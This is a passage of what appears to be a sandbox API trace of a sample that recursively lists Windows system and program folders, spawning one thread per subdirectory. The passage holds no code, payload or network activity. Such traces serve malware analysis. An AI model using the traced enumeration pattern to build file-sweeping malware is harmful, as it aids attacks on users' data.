Users\\Microsoft\\Windows\\Sqm\\" [0157.510] wcscat (in: _Dest=0x1cd86190, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*" [0157.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9bdc0 [0157.510] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd87030 [0157.511] wcscmp (_String1=".", _String2=".") returned 0 [0157.511] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.511] wcscmp (_String1="..", _String2=".") returned 1 [0157.511] wcscmp (_String1="..", _String2="..") returned 0 [0157.511] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Manifest", cAlternateFileName="")) returned 1 [0157.511] wcscmp (_String1="Manifest", _String2=".") returned 1 [0157.511] wcscmp (_String1="Manifest", _String2="..") returned 1 [0157.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1db0 [0157.511] wcscpy (in: _Dest=0x1b7c1db0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0157.511] wcscat (in: _Dest=0x1b7c1db0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0157.511] wcscat (in: _Dest=0x1b7c1db0, _Source="Manifest" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Manifest" [0158.834] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c1db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1208 [0158.834] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sessions", cAlternateFileName="")) returned 1 [0158.834] wcscmp (_String1="Sessions", _String2=".") returned 1 [0158.834] wcscmp (_String1="Sessions", _String2="..") returned 1 [0158.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a32d0 [0158.835] wcscpy (in: _Dest=0x1b7a32d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0158.835] wcscat (in: _Dest=0x1b7a32d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0158.835] wcscat (in: _Dest=0x1b7a32d0, _Source="Sessions" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Sessions" [0158.835] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a32d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb48 [0158.836] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 1 [0158.836] wcscmp (_String1="Upload", _String2=".") returned 1 [0158.837] wcscmp (_String1="Upload", _String2="..") returned 1 [0158.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7a31f0 [0158.837] wcscpy (in: _Dest=0x1b7a31f0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm" [0158.837] wcscat (in: _Dest=0x1b7a31f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\" [0158.837] wcscat (in: _Dest=0x1b7a31f0, _Source="Upload" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Sqm\\Upload" [0158.837] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a31f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x864 [0158.838] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1cd9bdc0 | out: lpFindFileData=0x1cd9bdc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Upload", cAlternateFileName="")) returned 0 [0158.838] FindClose (in: hFindFile=0x1cd87030 | out: hFindFile=0x1cd87030) returned 1 [0158.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9bdc0) returned 1 [0158.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86190) returned 1 [0158.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858eb0) returned 1 Thread: id = 2675 os_tid = 0x2238 [0157.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7c1aa0 [0157.514] wcscpy (in: _Dest=0x1b7c1aa0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" [0157.514] wcscat (in: _Dest=0x1b7c1aa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" [0157.515] wcscat (in: _Dest=0x1b7c1aa0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*" [0157.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce578e0 [0157.515] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86490 [0157.515] wcscmp (_String1=".", _String2=".") returned 0 [0157.515] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.515] wcscmp (_String1="..", _String2=".") returned 1 [0157.515] wcscmp (_String1="..", _String2="..") returned 0 [0157.515] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cc35f15, ftCreationTime.dwHighDateTime=0x1ca0440, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x502, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Programs.lnk", cAlternateFileName="DEFAUL~1.LNK")) returned 1 [0157.515] wcscmp (_String1="Default Programs.lnk", _String2=".") returned 1 [0157.515] wcscmp (_String1="Default Programs.lnk", _String2="..") returned 1 [0157.515] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7f5a4e15, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f5a4e15, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0157.515] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0157.515] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0157.515] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Programs", cAlternateFileName="")) returned 1 [0157.516] wcscmp (_String1="Programs", _String2=".") returned 1 [0157.516] wcscmp (_String1="Programs", _String2="..") returned 1 [0157.516] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85f310 [0157.516] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu" [0157.516] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\" [0157.516] wcscat (in: _Dest=0x1b85f310, _Source="Programs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Start Menu\\Programs" [0158.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x141c [0158.248] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 1 [0158.248] wcscmp (_String1="Windows Update.lnk", _String2=".") returned 1 [0158.248] wcscmp (_String1="Windows Update.lnk", _String2="..") returned 1 [0158.248] FindNextFileW (in: hFindFile=0x1cd86490, lpFindFileData=0x1ce578e0 | out: lpFindFileData=0x1ce578e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f57ecb5, ftCreationTime.dwHighDateTime=0x1ca043e, ftLastAccessTime.dwLowDateTime=0x7f57ecb5, ftLastAccessTime.dwHighDateTime=0x1ca043e, ftLastWriteTime.dwLowDateTime=0x7f57ecb5, ftLastWriteTime.dwHighDateTime=0x1ca043e, nFileSizeHigh=0x0, nFileSizeLow=0x4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Update.lnk", cAlternateFileName="WINDOW~1.LNK")) returned 0 [0158.248] FindClose (in: hFindFile=0x1cd86490 | out: hFindFile=0x1cd86490) returned 1 [0158.248] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce578e0) returned 1 [0158.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1aa0) returned 1 [0158.249] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c2440) returned 1 Thread: id = 2676 os_tid = 0x223c [0157.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c1cd0 [0157.518] wcscpy (in: _Dest=0x1b7c1cd0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates" [0157.518] wcscat (in: _Dest=0x1b7c1cd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\" [0157.518] wcscat (in: _Dest=0x1b7c1cd0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*" [0157.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0157.518] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd863d0 [0157.518] wcscmp (_String1=".", _String2=".") returned 0 [0157.518] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.518] wcscmp (_String1="..", _String2=".") returned 1 [0157.519] wcscmp (_String1="..", _String2="..") returned 0 [0157.519] FindNextFileW (in: hFindFile=0x1cd863d0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0157.519] FindClose (in: hFindFile=0x1cd863d0 | out: hFindFile=0x1cd863d0) returned 1 [0157.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0157.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1cd0) returned 1 [0157.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1c60) returned 1 Thread: id = 2677 os_tid = 0x2240 [0157.522] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x56) returned 0x1cd863d0 [0157.523] wcscpy (in: _Dest=0x1cd863d0, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0157.523] wcscat (in: _Dest=0x1cd863d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\" [0157.523] wcscat (in: _Dest=0x1cd863d0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*" [0157.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce57670 [0157.523] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86cd0 [0157.523] wcscmp (_String1=".", _String2=".") returned 0 [0157.524] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.524] wcscmp (_String1="..", _String2=".") returned 1 [0157.524] wcscmp (_String1="..", _String2="..") returned 0 [0157.524] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportArchive", cAlternateFileName="REPORT~1")) returned 1 [0157.524] wcscmp (_String1="ReportArchive", _String2=".") returned 1 [0157.524] wcscmp (_String1="ReportArchive", _String2="..") returned 1 [0157.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1cebe580 [0157.524] wcscpy (in: _Dest=0x1cebe580, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0157.524] wcscat (in: _Dest=0x1cebe580, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\" [0157.524] wcscat (in: _Dest=0x1cebe580, _Source="ReportArchive" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportArchive" [0158.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cebe580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f8 [0158.250] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 1 [0158.250] wcscmp (_String1="ReportQueue", _String2=".") returned 1 [0158.251] wcscmp (_String1="ReportQueue", _String2="..") returned 1 [0158.251] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1cf5f300 [0158.251] wcscpy (in: _Dest=0x1cf5f300, _Source="C:\\Users\\All Users\\Microsoft\\Windows\\WER" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER" [0158.251] wcscat (in: _Dest=0x1cf5f300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\" [0158.251] wcscat (in: _Dest=0x1cf5f300, _Source="ReportQueue" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue") returned="C:\\Users\\All Users\\Microsoft\\Windows\\WER\\ReportQueue" [0158.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cf5f300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb14 [0158.255] FindNextFileW (in: hFindFile=0x1cd86cd0, lpFindFileData=0x1ce57670 | out: lpFindFileData=0x1ce57670*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportQueue", cAlternateFileName="REPORT~2")) returned 0 [0158.255] FindClose (in: hFindFile=0x1cd86cd0 | out: hFindFile=0x1cd86cd0) returned 1 [0158.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57670) returned 1 [0158.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd863d0) returned 1 [0158.256] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8593f0) returned 1 Thread: id = 2678 os_tid = 0x2244 [0157.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20508bd0 [0157.526] wcscpy (in: _Dest=0x20508bd0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0157.526] wcscat (in: _Dest=0x20508bd0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0157.526] wcscat (in: _Dest=0x20508bd0, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" [0157.526] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce55930 [0157.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86550 [0157.527] wcscmp (_String1=".", _String2=".") returned 0 [0157.527] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.527] wcscmp (_String1="..", _String2=".") returned 1 [0157.528] wcscmp (_String1="..", _String2="..") returned 0 [0157.528] FindNextFileW (in: hFindFile=0x1cd86550, lpFindFileData=0x1ce55930 | out: lpFindFileData=0x1ce55930*(dwFileAttributes=0x20, 